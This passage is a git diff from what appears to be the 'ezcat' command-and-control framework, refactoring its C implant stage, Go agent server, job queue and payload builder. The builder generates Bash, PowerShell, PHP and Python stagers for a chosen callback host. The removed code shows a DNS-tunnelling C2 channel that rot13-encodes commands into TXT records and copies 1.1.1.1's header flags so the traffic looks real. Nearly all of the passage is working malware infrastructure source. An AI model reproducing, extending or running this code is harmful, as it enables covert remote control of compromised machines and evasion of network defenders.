+bool parse_addr(char *addr, char **host, uint16_t *port) {
+  char *save = NULL, *cur = NULL;
+  int   _port = 0;
 
-  int  len = vsnprintf(0, 0, fmt, args);
-  char buf[len + 1];
-  bzero(buf, len + 1);
+  *host = NULL;
+  *port = 0;
 
-  va_start(args, fmt);
-  vsnprintf(buf, len + 1, fmt, args);
+  if ((cur = strtok_r(addr, ":", &save)) == NULL) {
+    debug("failed to obtain the hostname");
+    return false;
+  }
 
-  send(sock, buf, len, 0);
+  if ((*host = strdup(cur)) == NULL) {
+    debug("failed to allocate memory for the hostname");
+    return false;
+  }
+
+  if ((cur = strtok_r(NULL, ":", &save)) == NULL) {
+    debug("failed to obtain the port");
+    return false;
+  }
+
+  if ((_port = atoi(cur)) > UINT16_MAX || _port <= 0) {
+    debug("invalid port number");
+    return false;
+  }
+
+  *port = _port;
+  return true;
 }
-#endif
diff --git a/payloads/stage/src/util.h b/payloads/stage/src/util.h
index 1b45f70..d6f9353 100644
--- a/payloads/stage/src/util.h
+++ b/payloads/stage/src/util.h
@@ -1,6 +1,8 @@
 #pragma once
 
+#include <stdbool.h>
 #include <stddef.h>
+#include <stdint.h>
 #include <sys/types.h>
 
 #ifdef _WIN32
@@ -8,14 +10,22 @@
 
 #define bzero(b, len) ZeroMemory(b, len)
 void fprintfsock(SOCKET sock, const char *fmt, ...);
+#else
+#include <sys/socket.h>
+
+char *get_distro();
 #endif
 
-int  randint(int min, int max);
-int  name_to_qname(char *qname, char **name);
-bool parse_addr(char *addr, struct sockaddr_in *ret);
+#define debug(...) print_debug(__func__, __VA_ARGS__);
+#define dump(b, s) print_debug_dump(__func__, b, s)
+
+void print_debug_dump(const char *func, char *buf, uint64_t size);
+void print_debug(const char *func, const char *msg, ...);
+
+bool resolve(struct sockaddr *saddr, char *addr, uint16_t port);
+bool parse_addr(char *addr, char **host, uint16_t *port);
 
-void rot13(char *str);
-char rot13_char(char c);
+int randint(int min, int max);
 
-bool copy_to_buffer(void *buffer, void *src, size_t size, ssize_t *total, ssize_t *used);
-bool copy_from_buffer(void *dst, void *buffer, size_t size, ssize_t *total, ssize_t *used);
+void *copy_to(void *dst, void *src, uint64_t size);
+void *copy_from(void *dst, void *src, uint64_t size);
diff --git a/server/.gitignore b/server/.gitignore
index a75b65f..1132172 100644
--- a/server/.gitignore
+++ b/server/.gitignore
@@ -1,2 +1,2 @@
-server
+*.elf
 data/
diff --git a/server/Makefile b/server/Makefile
new file mode 100644
index 0000000..670ec20
--- /dev/null
+++ b/server/Makefile
@@ -0,0 +1,18 @@
+GOSRCS = $(shell find . -type f -name '*.go')
+CGO_ENABLED = 1
+
+all: ezcat.elf
+
+ezcat.elf: $(GOSRCS)
+	CGO_ENABLED=$(CGO_ENABLED) go build -o $@
+
+format:
+	gofmt -s -w .
+
+clean:
+	rm *.elf
+
+debug:
+	EZCAT_DEBUG=1 ./ezcat.elf
+
+.PHONY: format clean debug
diff --git a/server/agent/agent.go b/server/agent/agent.go
index 125ed8e..248da99 100644
--- a/server/agent/agent.go
+++ b/server/agent/agent.go
@@ -1,230 +1,95 @@
 package agent
 
 import (
-	"fmt"
-	"strconv"
-	"strings"
 	"time"
 
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/jobs"
-	"github.com/ngn13/ezcat/server/log"
 	"github.com/ngn13/ezcat/server/util"
 )
 
-type Work struct {
-  Session  string
-  Job      *jobs.Job
-
-  Command  byte
-  Argument string
-  Response string
-  Waiting  bool
-  Success  bool
-  Callback func(*Work)
-}
+const AGENT_SLEEP_MAX = 15
 
 type Agent struct {
-  Username string
-  Hostname string
-  Kernel   string
-  PID      int
-  IP       string
-
-  Lastcon  time.Time
-  Active   bool
-
-  Session  string // SESSION_LEN
-  ID       string // ID_LEN
- 
-  Request  *Request
-  Work     []Work
-}
-
-type Data struct {
-  Username string `json:"username"`
-  Hostname string `json:"hostname"`
-  Kernel   string `json:"kernel"`
-  PID      int    `json:"pid"`
-  IP       string `json:"ip"`
-  ID       string `json:"id"` // not really the "ID", its the session
-}
-
-var List []Agent
-
-func InfoCallback(w *Work) {
-  if !w.Success {
-    log.Err("Failed to get info from the agent: %s", w.Response)
-    jobs.Del(w.Job.ID)
-    return
-  }
-
-  var err error
-
-  data := strings.Split(w.Response, "@")
-  agent := Get(w.Session)
-
-  if len(data) != 4 {
-    log.Debug("Bad info data from %s", agent.ID)
-    log.Debug(w.Response)
-    return
-  }
+	Session uint32 `json:"session"`
 
-  agent.Username  = data[0]
-  agent.Hostname  = data[1]
-  agent.Kernel    = data[2]
+	// sysem info
+	Username string `json:"username"`
+	Hostname string `json:"hostname"`
+	PID      int32  `json:"pid"`
+	OS       string `json:"os"`
+	IP       string `json:"ip"`
 
-  agent.PID, err = strconv.Atoi(data[3])
-  if err != nil {
-    agent.PID = -1
-  }
+	LastCon    time.Time `json:"last_con"` // what was the last connection time
+	Conneceted bool      `json:"-"`        // is it currently connected
+	ShouldKill bool      `json:"-"`
 
-  jobs.Del(w.Job.ID)
+	Job []Job `json:"-"`
 }
 
-func DefaultCallack(w *Work){
-  w.Job.Message = w.Response
-  w.Job.Active  = false
-}
-
-func New(id string) *Agent {
-  agent := Agent{
-    ID:       id,
-    Session:  util.MakeRandom(global.SESSION_LEN),
-    
-    Active:   true,
-    Lastcon:  time.Now(),
-
-    Username: "",
-    Hostname: "",
-    Kernel:   "",
-    IP:       "",
-
-    Request:  nil,
-  }
-
-  agent.AddWork(RES_INFO, "plz", InfoCallback)
-  List = append(List, agent)
-  return &List[len(List)-1]
-}
-
-func Get(sess string) *Agent {
-  for i := range List {
-    if List[i].Session == sess {
-      return &List[i]
-    }
-  }
-  return nil
-}
+func (a *Agent) UpdateConnected() {
+	cur := time.Now()
+	a.Conneceted = false
 
-func Clean() {
-  for i := range List {
-    cur := &List[i]
-    if time.Since(cur.Lastcon) > time.Second*time.Duration(global.SLEEP_MAX+5) {
-      cur.Deactivate()
-    }
-  }
-}
+	if a.ShouldKill {
+		return
+	}
 
-func (a *Agent) IsEnd() bool {
-  if(a.Request == nil){
-    return true 
-  }
-  return a.Request.End
+	if diff := cur.Sub(a.LastCon); diff.Seconds() < AGENT_SLEEP_MAX {
+		a.Conneceted = true
+	}
 }
 
-func (a *Agent) NewRequest(r *Request) error {
-  a.Lastcon = time.Now()
-  a.Active  = true
-
-  if a.IsEnd() && r.Command != REQ_CONTINUE {
-    a.Request = r
-    return nil
-  }
+func (a *Agent) NextJob() *Job {
+	var job *Job = nil
 
-  if r.Command != REQ_CONTINUE {
-    return fmt.Errorf("invalid order")
-  }
+	for i := range a.Job {
+		if job = &a.Job[i]; !job.Waiting {
+			job = nil
+			continue
+		}
+	}
 
-  a.Request.Argument += r.Argument
-  a.Request.End = r.End
-  return nil 
+	return job
 }
 
-func (a *Agent) GetWork() *Work {
-  for i := range a.Work {
-    if a.Work[i].Waiting {
-      return &a.Work[i]
-    }
-  }
-  return nil
-} 
-
-func (a *Agent) AddWork(cmd byte, arg string, callback func(*Work)) *Work {
-  job := jobs.Add("Waiting for response from the agent")
-  if callback == nil {
-    callback = DefaultCallack
-  }
-
-  a.Work = append(a.Work, Work{
-    Session: a.Session,
-    Job: job,
-
-    Command:  cmd,
-    Argument: arg,
-    Response: "",
-    Waiting:  true,
-    Callback: callback,
-  })
-
-  return &a.Work[len(a.Work)-1]
+func (a *Agent) AddJob(cmd byte, arg []byte, arg_size uint8, cb func(*Job)) *Job {
+	if nil != arg && arg_size == 0 {
+		arg_size = uint8(len(arg))
+	}
+
+	if nil == arg {
+		arg_size = 0
+	}
+
+	job := Job{
+		ID:           util.Rand16(),
+		Command:      cmd,
+		Waiting:      true,
+		Success:      false,
+		Argument:     arg,
+		ArgumentSize: arg_size,
+		Callback:     cb,
+		Agent:        a,
+	}
+
+	a.Job = append(a.Job, job)
+	return &a.Job[len(a.Job)-1]
 }
 
-func (a *Agent) HandleWork() {
-  for i := range a.Work {
-    if !a.Work[i].Waiting {
-      a.Work[i].Job.Success = a.Work[i].Success
-      a.Work[i].Callback(&a.Work[i])
-    }
-  }
-}
-
-func (a *Agent) DelWork(w *Work) {
-  for i := range a.Work {
-    if &a.Work[i] != w {
-      continue
-    }
-    a.Work = append(a.Work[:i], a.Work[i+1:]...) 
-    return
-  }
-}
+func (a *Agent) GetJob(id uint16) *Job {
+	for i := range a.Job {
+		if a.Job[i].ID == id {
+			return &a.Job[i]
+		}
+	}
 
-func (a *Agent) Data() Data {
-  return Data{
-    Username: a.Username,
-    Hostname: a.Hostname,
-    Kernel:   a.Kernel,
-    PID:      a.PID,
-    IP:       a.IP,
-    ID:       a.Session,
-  }
+	return nil
 }
 
-func (a *Agent) Deactivate() {
-  a.Active = false
-  a.Request = nil
-  
-  for i := range a.Work {
-    cur := a.Work[i]
-    if !cur.Waiting {
-      continue
-    }
-
-    cur.Waiting = false
-    cur.Job.Active  = false
-    cur.Job.Success = false
-    cur.Job.Message = "Agent is not active"
-  }
-
-  a.Work = []Work{}
+func (a *Agent) DelJob(id uint16) {
+	for i := range a.Job {
+		if a.Job[i].ID == id {
+			a.Job = append(a.Job[:i], a.Job[i+1:]...)
+			return
+		}
+	}
 }
diff --git a/server/agent/headers.go b/server/agent/headers.go
deleted file mode 100644
index 3fe0ea1..0000000
--- a/server/agent/headers.go
+++ /dev/null
@@ -1,45 +0,0 @@
-package agent
-
-// Struct and vars based on RFC 1035
-
-// 2.3.4. Size limits
-var (
-  LABEL_LIMIT int = 63
-  NAME_LIMIT  int = 255
-  UDP_LIMIT   int = 512
-)
-
-type DNS_Packet struct {
-  Header      DNS_Header
-  Questions   []DNS_QD
-  Answers     []DNS_RR
-  Authorities []DNS_RR
-  Additionals []DNS_RR
-}
-
-// 4.1.1. Header section format
-type DNS_Header struct {
-  ID      uint16 // Transaction ID (16 bits)
-  Flags   uint16 // Flags (16 bits)
-  QDCount uint16 // Question Count (16 bits)
-  ANCount uint16 // Answer Count (16 bits)
-  NSCount uint16 // Authority Count (16 bits)
-  ARCount uint16 // Additional Info Count (16 bits)
-}
-
-// 4.1.2. Question section format
-type DNS_QD struct {
-  Qname   []string
-  Qtype   uint16
-  Qclass  uint16
-}
-
-// 4.1.3. Resource record format 
-type DNS_RR struct {
-  Name     []string
-  Type     uint16
-  Class    uint16
-  TTL      uint32
-  RDLength uint16
-  RData    []byte
-}
diff --git a/server/agent/job.go b/server/agent/job.go
new file mode 100644
index 0000000..0a6ad0e
--- /dev/null
+++ b/server/agent/job.go
@@ -0,0 +1,14 @@
+package agent
+
+type Job struct {
+	ID           uint16
+	Command      byte
+	Waiting      bool
+	Success      bool
+	Argument     []byte
+	ArgumentSize uint8
+	Response     []byte
+	ResponseSize uint8
+	Callback     func(*Job)
+	Agent        *Agent
+}
diff --git a/server/agent/list.go b/server/agent/list.go
new file mode 100644
index 0000000..5b82675
--- /dev/null
+++ b/server/agent/list.go
@@ -0,0 +1,101 @@
+package agent
+
+import (
+	"math/rand"
+	"time"
+
+	"github.com/ngn13/ezcat/server/log"
+)
+
+type List struct {
+	Agents []Agent
+}
+
+func (l *List) add(agent Agent) {
+	l.Agents = append(l.Agents, agent)
+}
+
+func (l *List) len() int {
+	return len(l.Agents)
+}
+
+func (l *List) get(i int) *Agent {
+	return &l.Agents[i]
+}
+
+func (l *List) del(i int) {
+	l.Agents = append(l.Agents[:i], l.Agents[i+1:]...)
+}
+
+func (l *List) New() *Agent {
+	agent := Agent{
+		Session:    rand.Uint32(),
+		LastCon:    time.Now(),
+		Conneceted: true,
+	}
+
+	log.Debg("registered a new agent (session: %v)", agent.Session)
+
+	l.add(agent)
+	return l.get(l.len() - 1)
+}
+
+func (l *List) Find(s uint32) *Agent {
+	for i := 0; i < l.len(); i++ {
+		if cur := l.get(i); cur.Session == s {
+			return cur
+		}
+	}
+
+	return nil
+}
+
+func (l *List) Remove(s uint32) {
+	for i := 0; i < l.len(); i++ {
+		if cur := l.get(i); cur.Session == s {
+			l.del(i)
+			return
+		}
+	}
+}
+
+func (l *List) Update() {
+	var cur *Agent
+
+	for i := 0; i < l.len(); i++ {
+		cur = l.get(i)
+		cur.UpdateConnected()
+	}
+}
+
+func (l *List) GetJob(id uint16) (job *Job) {
+	var cur *Agent
+
+	for i := 0; i < l.len(); i++ {
+		cur = l.get(i)
+
+		if job = cur.GetJob(id); job != nil {
+			return job
+		}
+	}
+
+	return nil
+}
+
+func (l *List) DelJob(id uint16) {
+	for i := 0; i < l.len(); i++ {
+		l.get(i).DelJob(id)
+	}
+}
+
+func (l *List) Ready() []*Agent {
+	var res []*Agent
+
+	for i := 0; i < l.len(); i++ {
+		if cur := l.get(i); cur.Conneceted && cur.Hostname != "" && cur.Username != "" {
+			res = append(res, cur)
+		}
+	}
+
+	return res
+}
diff --git a/server/agent/protocol.go b/server/agent/protocol.go
deleted file mode 100644
index 42df252..0000000
--- a/server/agent/protocol.go
+++ /dev/null
@@ -1,140 +0,0 @@
-package agent
-
-import (
-	"net"
-
-	"github.com/ngn13/ezcat/server/log"
-	"github.com/ngn13/ezcat/server/payload"
-)
-
-var (
-  SECTION_COUNT      int = 4
-  FIRST_SECTION_LEN  int = 62
-  SECOND_SECTION_LEN int = 1
-  THIRD_SECTION_LEN  int = 1
-  ARGUMENT_LEN       int = 63
-)
-
-func ProtocolHandle(client *net.UDPAddr, data []string) (string, error) {
-  req, err := RequestParse(data)
-  if err != nil {
-    return "", err
-  }
-  
-  if payload.StageGet(req.ID) == "" {
-    return ResponseDump(&Response{
-      Command: RES_FAIL,
-      Argument: "Invalid ID",
-    })
-  }
-
-  agent := Get(req.Session)
-
-  if agent == nil && req.Session == req.ID && req.Command == REQ_REGISTER {
-    agent = New(req.ID)
-    log.Debug("New agent with ID: %s and Session: %s", agent.ID, agent.Session)
-    agent.IP = client.String()
-
-    return ResponseDump(&Response{
-      Command: RES_OK,
-      Argument: agent.Session,
-    })
-  }
-
-  if agent == nil {
-    return ResponseDump(&Response{
-      Command: RES_FAIL,
-      Argument: "Agent not registered",
-    })
-  }
-
-  err = agent.NewRequest(req)
-
-  if err != nil {
-    log.Debug("Failed to add new request to agent: %s", err.Error())
-    return ResponseDump(&Response{
-      Command: RES_FAIL,
-      Argument: err.Error(),
-    })
-  }
-
-  if agent.IsEnd() {
-    return ProtocolHandleAgent(agent)
-  }
-
-  return "", nil 
-}
-
-func ProtocolHandleAgent(agent *Agent) (string, error) {
-  req := agent.Request
-
-  switch req.Command {
-  case REQ_REGISTER:
-    return ResponseDump(&Response{
-      Command: RES_FAIL,
-      Argument: "Already registered",
-    })
-
-  case REQ_WORK:
-    work := agent.GetWork()
-    if nil == work {
-      return ResponseDump(&Response{
-        Command: RES_NOTNOW,
-        Argument: "Ask again",
-      })
-    }
-
-    return ResponseDump(&Response{
-      Command: work.Command,
-      Argument: work.Argument,
-    })
-
-  case REQ_DONE:
-    work := agent.GetWork()
-    if work == nil {
-      log.Debug("%s says it completed a work that does not exists, maybe the packet was delayed?", agent.ID)
-
-      return ResponseDump(&Response{
-        Command: RES_FAIL,
-        Argument: "What are you talking about?",
-      })
-    }
-
-    work.Response = agent.Request.Argument
-    work.Success  = true
-    work.Waiting  = false
-
-    agent.HandleWork()
-    agent.DelWork(work)
-
-    return ResponseDump(&Response{
-      Command: RES_OK,
-      Argument: "Good job",
-    })
-
-  case REQ_FAIL:
-    work := agent.GetWork()
-    if work == nil {
-      log.Debug("%s says it failed a work that does not exists, maybe the packet was delayed?", agent.ID)
-
-      return ResponseDump(&Response{
-        Command: RES_FAIL,
-        Argument: "What are you talking about?",
-      })
-    }
-
-    work.Response = agent.Request.Argument
-    work.Success  = false 
-    work.Waiting  = false
-
-    agent.HandleWork()
-    agent.DelWork(work)
-
-    return ResponseDump(&Response{
-      Command: RES_OK,
-      Argument: "Damn thats unfortunate",
-    })
-  }
-
-  return "", nil
-} 
diff --git a/server/agent/request.go b/server/agent/request.go
deleted file mode 100644
index 3c4e8ef..0000000
--- a/server/agent/request.go
+++ /dev/null
@@ -1,60 +0,0 @@
-package agent
-
-import (
-	"fmt"
-
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/util"
-)
-
-//            31     31           1         1       max 63
-//           ==== =========   =========   =====   ==========
-// request:  [id] [session] . [command] . [end] . [argument]
-
-type Request struct {
-  ID       string
-  Session  string
-  Command  byte 
-  End      bool
-  Argument string
-}
-
-var (
-  REQ_REGISTER byte = 'R'
-  REQ_CONTINUE byte = 'C'
-  REQ_WORK     byte = 'W'
-  REQ_DONE     byte = 'D'
-  REQ_FAIL     byte = 'F'
-)
-
-func RequestParse(sections []string) (*Request, error) {
-  if len(sections) != SECTION_COUNT {
-    return nil, fmt.Errorf("not a valid request (section count: %d != %d)", len(sections), SECTION_COUNT)
-  }
-
-  if len(sections[0]) != FIRST_SECTION_LEN {
-    return nil, fmt.Errorf("not a valid request (first section length: %d != %d)", len(sections[0]), FIRST_SECTION_LEN)
-  }
-
-  if len(sections[1]) != SECOND_SECTION_LEN {
-    return nil, fmt.Errorf("not a valid request (second section length: %d != %d)", len(sections[1]), SECOND_SECTION_LEN)
-  }
-
-  if len(sections[2]) != THIRD_SECTION_LEN {
-    return nil, fmt.Errorf("not a valid request (third section length: %d != %d)", len(sections[2]), THIRD_SECTION_LEN)
-  }
-
-  if len(sections[3]) > ARGUMENT_LEN {
-    return nil, fmt.Errorf("not a valid request (argument is too large: %d > %d)", len(sections[3]), ARGUMENT_LEN)
-  }
-
-  var req Request = Request{
-    ID:       util.Rot13(sections[0][:global.ID_LEN]),
-    Session:  util.Rot13(sections[0][FIRST_SECTION_LEN-global.SESSION_LEN:]),
-    Command:  util.Rot13Byte(sections[1][0]),
-    End:      util.Rot13(sections[2])=="1",
-    Argument: util.Rot13(sections[3]),
-  }
-
-  return &req, nil
-}
diff --git a/server/agent/response.go b/server/agent/response.go
deleted file mode 100644
index 2a93001..0000000
--- a/server/agent/response.go
+++ /dev/null
@@ -1,39 +0,0 @@
-package agent
-
-import (
-	"fmt"
-
-	"github.com/ngn13/ezcat/server/util"
-)
-
-//               1       max 63
-//           ========= ==========
-// response: [command] [argument]
-
-type Response struct {
-  Command  byte 
-  Argument string
-}
-
-var (
-  RES_NOTNOW   byte = 'N'
-  RES_FAIL     byte = 'F'
-  RES_OK       byte = 'K'
-  
-  RES_INFO byte = 'I'
-  CMD_INFO = RES_INFO 
-
-  RES_RUN byte = 'R'
-  CMD_RUN = RES_RUN
-
-  RES_KILL byte = 'D'
-  CMD_KILL = RES_KILL
-)
-
-func ResponseDump(res *Response) (string, error) {
-  if len(res.Argument) > ARGUMENT_LEN{
-    return "", fmt.Errorf("not a valid response (argument is too large: %d > %d)", len(res.Argument), ARGUMENT_LEN)
-  }
-
-  return util.Rot13(string(res.Command)+res.Argument), nil
-}
diff --git a/server/agent/server.go b/server/agent/server.go
deleted file mode 100644
index ddadb5f..0000000
--- a/server/agent/server.go
+++ /dev/null
@@ -1,174 +0,0 @@
-package agent
-
-import (
-	"bytes"
-	"encoding/binary"
-	"net"
-
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/log"
-)
-
-type AgentServer struct{
-  Conn *net.UDPConn
-}
-
-func (s *AgentServer) Fail(client *net.UDPAddr, packet *DNS_Packet) {
-  response := DNS_Packet{
-    Header: DNS_Header{
-      ID: packet.Header.ID,
-      
-      // actual header flag from 1.1.1.1, so it looks more real
-      Flags: 33187, 
-      // QR = R, Opcode = standart, AA = 0, TC = 0, RD = 1, RA = 1, Z = 0 
-      // answer is authenticated, non-auth is unacceptable
-      // reply code is 3 (Name Error - NXDOMAIN)
-      
-      QDCount: packet.Header.QDCount,
-      ANCount: 0,
-      NSCount: 0,
-      ARCount: 0,
-    },
-  }
-
-  response.Questions = append(response.Questions, packet.Questions...)
-
-  buffer, err := UtilPacketToBuffer(&response)
-  if err != nil {
-    log.Debug("Failed to send response to %s: %s", client.String(), err.Error())
-    return
-  }
-
-  _, err = s.Conn.WriteToUDP(buffer.Bytes(), client)
-  if err != nil {
-    log.Debug("Failed to write response to %s: %s", client.String(), err.Error())
-  }
-}
-
-func (s *AgentServer) Response(client *net.UDPAddr, packet *DNS_Packet) {
-  qname := packet.Questions[0].Qname
-  res, err := ProtocolHandle(client, qname)
-
-  if err != nil {
-    log.Debug("Failed to handle packet: %s", err.Error())
-    return
-  }
-
-  if res == "" {
-    return
-  }
-
-  response := DNS_Packet{
-    Header: DNS_Header{
-      ID: packet.Header.ID,
-      
-      // again, actual header flag from 1.1.1.1, so it looks more real
-      Flags: 33152, 
-      // QR = R, Opcode = standart, AA = 0, TC = 0, RD = 1, RA = 1, Z = 0 
-      // answer is authenticated, non-auth is unacceptable
-      // reply code is 0 (No Error)
-      
-      QDCount: packet.Header.QDCount,
-      ANCount: 0,
-      NSCount: 0,
-      ARCount: 0,
-    },
-  }
-
-  response.Questions = append(response.Questions, packet.Questions...)
-
-  datasz := len(res)
-  data := new(bytes.Buffer)
-
-  data.WriteByte(byte(datasz))
-  data.Write([]byte(res))
-
-  response.Answers = append(response.Answers, DNS_RR{
-    Name:     response.Questions[0].Qname,
-    Type:     16, // TXT record
-    Class:    1,
-    TTL:      300,
-    RDLength: uint16(datasz+1),
-    RData:    data.Bytes(),
-  })
-  response.Header.ANCount++
-
-  buffer, err := UtilPacketToBuffer(&response)
-  if err != nil {
-    log.Debug("Failed to send response to %s: %s", client.String(), err.Error())
-    return
-  }
-
-  _, err = s.Conn.WriteToUDP(buffer.Bytes(), client)
-  if err != nil {
-    log.Debug("Failed to write response to %s: %s", client.String(), err.Error())
-  }
-}
-
-func (s *AgentServer) Handle(client *net.UDPAddr, req []byte) {
-  var (
-    buffer *bytes.Buffer = bytes.NewBuffer(req)
-    packet DNS_Packet
-    err    error
-  )
-
-  err = binary.Read(buffer, binary.BigEndian, &packet.Header)
-  if err != nil {
-    log.Debug("Failed to read DNS header from %s: %s", client.String(), err.Error())
-    return
-  }
-
-  log.Debug("Reading %d question(s)", packet.Header.QDCount)
-  packet.Questions = make([]DNS_QD, packet.Header.QDCount)
-
-  for i := range packet.Questions {
-    packet.Questions[i].Qname, err = UtilReadQname(buffer)
-    if err != nil {
-      log.Debug("Failed to read question QNAME from %s: %s", client.String(), err.Error())
-      return
-    }
-   
-    packet.Questions[i].Qtype  = binary.BigEndian.Uint16(buffer.Next(2))
-    packet.Questions[i].Qclass = binary.BigEndian.Uint16(buffer.Next(2))
-
-    log.Debug("Question: %s, %d, %d",
-      packet.Questions[i].Qname,
-      packet.Questions[i].Qtype,
-      packet.Questions[i].Qclass,
-    )
-  }
-
-  // packet should only have one question, or its not valid
-  // for the c2 protocol
-  if packet.Header.QDCount != 1 {
-    s.Fail(client, &packet)
-    return
-  }
-
-  s.Response(client, &packet)
-}
-
-func (s *AgentServer) Start(){
-  var err error
-
-  s.Conn, err = net.ListenUDP("udp", &net.UDPAddr{IP: net.IPv4zero, Port: global.CONFIG_AGENTPORT})
-  if err != nil {
-    log.Err("Failed to create the agent server")
-    return
-  }
-  defer s.Conn.Close()
-
-  log.Info("Agent server is running on port %d", global.CONFIG_AGENTPORT)
-
-  for {
-    req := make([]byte, UDP_LIMIT)
-    reqsz, client, err := s.Conn.ReadFromUDP(req)
-    if err != nil {
-      log.Err("Failed to read from agent server: %s", err.Error())
-      continue
-    }
-
-    log.Debug("Received %d bytes from %s", reqsz, client.String())
-    go s.Handle(client, req)
-  }
-}
diff --git a/server/agent/util.go b/server/agent/util.go
deleted file mode 100644
index 16f1dcc..0000000
--- a/server/agent/util.go
+++ /dev/null
@@ -1,113 +0,0 @@
-package agent
-
-import (
-	"bytes"
-	"encoding/binary"
-	"fmt"
-)
-
-func UtilReadQname(buffer *bytes.Buffer) ([]string, error) {
-  var labels []string
-	var res string = ""
-	c, err := buffer.ReadByte()
-
-	for ; err == nil && int(c) > 0; c, err = buffer.ReadByte() {
-    label_len := int(c)
-
-		if label_len > LABEL_LIMIT {
-			return labels, fmt.Errorf("illegal label size (%d)", label_len)
-		}
-
-    if len(res)+label_len > NAME_LIMIT {
-			return labels, fmt.Errorf("illegal name size (%d)", len(res)+label_len)
-		}
-
-		part := string(buffer.Next(label_len))
-    labels = append(labels, part)
-
-		if res == "" {
-			res = part
-			continue
-		}
-
-		res += "." + part
-	}
-
-	return labels, err
-}
-
-func UtilWriteQname(buffer *bytes.Buffer, qname []string) error {
-  var total int = 0
-
-  for _, p := range qname {
-    label_len := len(p)
-    if label_len > LABEL_LIMIT {
-      return fmt.Errorf("illegal label size")
-    }
-    
-    total += label_len
-
-    if total > NAME_LIMIT {
-      return fmt.Errorf("illegal name size")
-    }
-
-    buffer.WriteByte(byte(label_len))
-    buffer.Write([]byte(p))
-  }
-
-  buffer.WriteByte(byte(0))
-  return nil
-}
-
-func UtilWriteRR(buffer *bytes.Buffer, rr *DNS_RR) error {
-  err := UtilWriteQname(buffer, rr.Name)
-  if err != nil {
-    return err
-  }
-  
-  binary.Write(buffer, binary.BigEndian, rr.Type)
-  binary.Write(buffer, binary.BigEndian, rr.Class)
-  binary.Write(buffer, binary.BigEndian, rr.TTL)
-  binary.Write(buffer, binary.BigEndian, rr.RDLength)
-  binary.Write(buffer, binary.BigEndian, rr.RData)
-  return nil
-}
-
-func UtilPacketToBuffer(packet *DNS_Packet) (*bytes.Buffer, error) {
-  buffer := new(bytes.Buffer)
-  binary.Write(buffer, binary.BigEndian, packet.Header)
-  var i uint16 = 0
-
-  for i = 0; i < packet.Header.QDCount; i++ {
-    err := UtilWriteQname(buffer, packet.Questions[i].Qname)
-    if err != nil {
-      return nil, err
-    }
-
-    binary.Write(buffer, binary.BigEndian, packet.Questions[i].Qtype)
-    binary.Write(buffer, binary.BigEndian, packet.Questions[i].Qclass)
-  }
-
-  for i = 0; i < packet.Header.ANCount; i++ {
-    err := UtilWriteRR(buffer, &packet.Answers[i])
-    if err != nil {
-      return nil, err
-    }
-  }
-
-  for i = 0; i < packet.Header.NSCount; i++ {
-    err := UtilWriteRR(buffer, &packet.Authorities[i])
-    if err != nil {
-      return nil, err
-    }
-  }
-
-  for i = 0; i < packet.Header.ARCount; i++ {
-    err := UtilWriteRR(buffer, &packet.Additionals[i])
-    if err != nil {
-      return nil, err
-    }
-  }
-
-  return buffer, nil
-}
diff --git a/server/builder/builder.go b/server/builder/builder.go
new file mode 100644
index 0000000..b0d27cf
--- /dev/null
+++ b/server/builder/builder.go
@@ -0,0 +1,122 @@
+package builder
+
+import (
+	"os"
+	"path"
+
+	"github.com/ngn13/ezcat/server/config"
+	"github.com/ngn13/ezcat/server/util"
+)
+
+const ID_LEN = 32
+
+type Struct struct {
+	Config   *config.Struct
+	Payloads []Payload
+	Builds   []string
+}
+
+type build struct {
+	ID      string
+	Host    string
+	Port    uint16
+	Target  *Target
+	Payload *Payload
+}
+
+func New(conf *config.Struct) (*Struct, error) {
+	var (
+		builder Struct
+		entries []os.DirEntry
+		err     error
+	)
+
+	builder = Struct{
+		Config: conf,
+		Payloads: []Payload{
+			// linux only
+			{Name: "Bash", OS: []Target{TARGET_LINUX}, Config: "src/main.sh", Output: "dist/main.sh"},
+
+			// windows only
+			{Name: "Powershell", OS: []Target{TARGET_WINDOWS}, Config: "src/main.ps1", Output: "dist/main.ps1"},
+
+			// both
+			{Name: "PHP", OS: TARGET_ALL, Config: "src/main.php", Output: "dist/main.php"},
+			{Name: "Python", OS: TARGET_ALL, Config: "src/main.py", Output: "dist/main.py"},
+		},
+	}
+
+	if entries, err = os.ReadDir(conf.DistDir); err != nil && !os.IsNotExist(err) {
+		return nil, err
+	}
+
+	for _, e := range entries {
+		builder.Builds = append(builder.Builds, e.Name())
+	}
+
+	return &builder, nil
+}
+
+func (s *Struct) IsValid(id string) bool {
+	for _, i := range s.Builds {
+		if i == id {
+			return true
+		}
+	}
+
+	return false
+}
+
+func (s *Struct) GetPayload(name string) *Payload {
+	for i := range s.Payloads {
+		if s.Payloads[i].Name == name {
+			return &s.Payloads[i]
+		}
+	}
+
+	return nil
+}
+
+func (s *Struct) GetStage(id string) string {
+	if s.IsValid(id) {
+		return path.Join(s.Config.DistDir, id)
+	}
+
+	return ""
+}
+
+func (s *Struct) Create(payload *Payload, target *Target, address string) (string, error) {
+	var (
+		res  string
+		host string
+		port uint16
+		err  error
+	)
+
+	// parse the address
+	if host, port, err = util.ParseAddr(address); err != nil {
+		return "", err
+	}
+
+	// create the build configuration
+	build := build{
+		ID:      util.MakeRandom(ID_LEN),
+		Host:    host,
+		Port:    port,
+		Target:  target,
+		Payload: payload,
+	}
+
+	// build the payload
+	if res, err = s.buildPayload(&build); err != nil {
+		return "", err
+	}
+
+	// build the stage
+	if err = s.buildStage(&build); err != nil {
+		return "", err
+	}
+
+	s.Builds = append(s.Builds, build.ID)
+	return res, nil
+}
diff --git a/server/builder/payload.go b/server/builder/payload.go
new file mode 100644
index 0000000..0602f43
--- /dev/null
+++ b/server/builder/payload.go
@@ -0,0 +1,86 @@
+package builder
+
+import (
+	"fmt"
+	"os"
+	"path"
+	"strings"
+
+	"github.com/ngn13/ezcat/server/log"
+	"github.com/ngn13/ezcat/server/util"
+)
+
+type Payload struct {
+	Name   string   `json:"name"`
+	Config string   `json:"config"`
+	Output string   `json:"output"`
+	OS     []Target `json:"os"`
+}
+
+func (p *Payload) SupportsTarget(target *Target) bool {
+	for i := range p.OS {
+		if p.OS[i].CodeName() == target.CodeName() {
+			return true
+		}
+	}
+
+	return false
+}
+
+func (p *Payload) Supports(oscode string) *Target {
+	var target *Target
+
+	if target = TargetByCode(oscode); target == nil {
+		return nil
+	}
+
+	if p.SupportsTarget(target) {
+		return target
+	}
+
+	return nil
+}
+
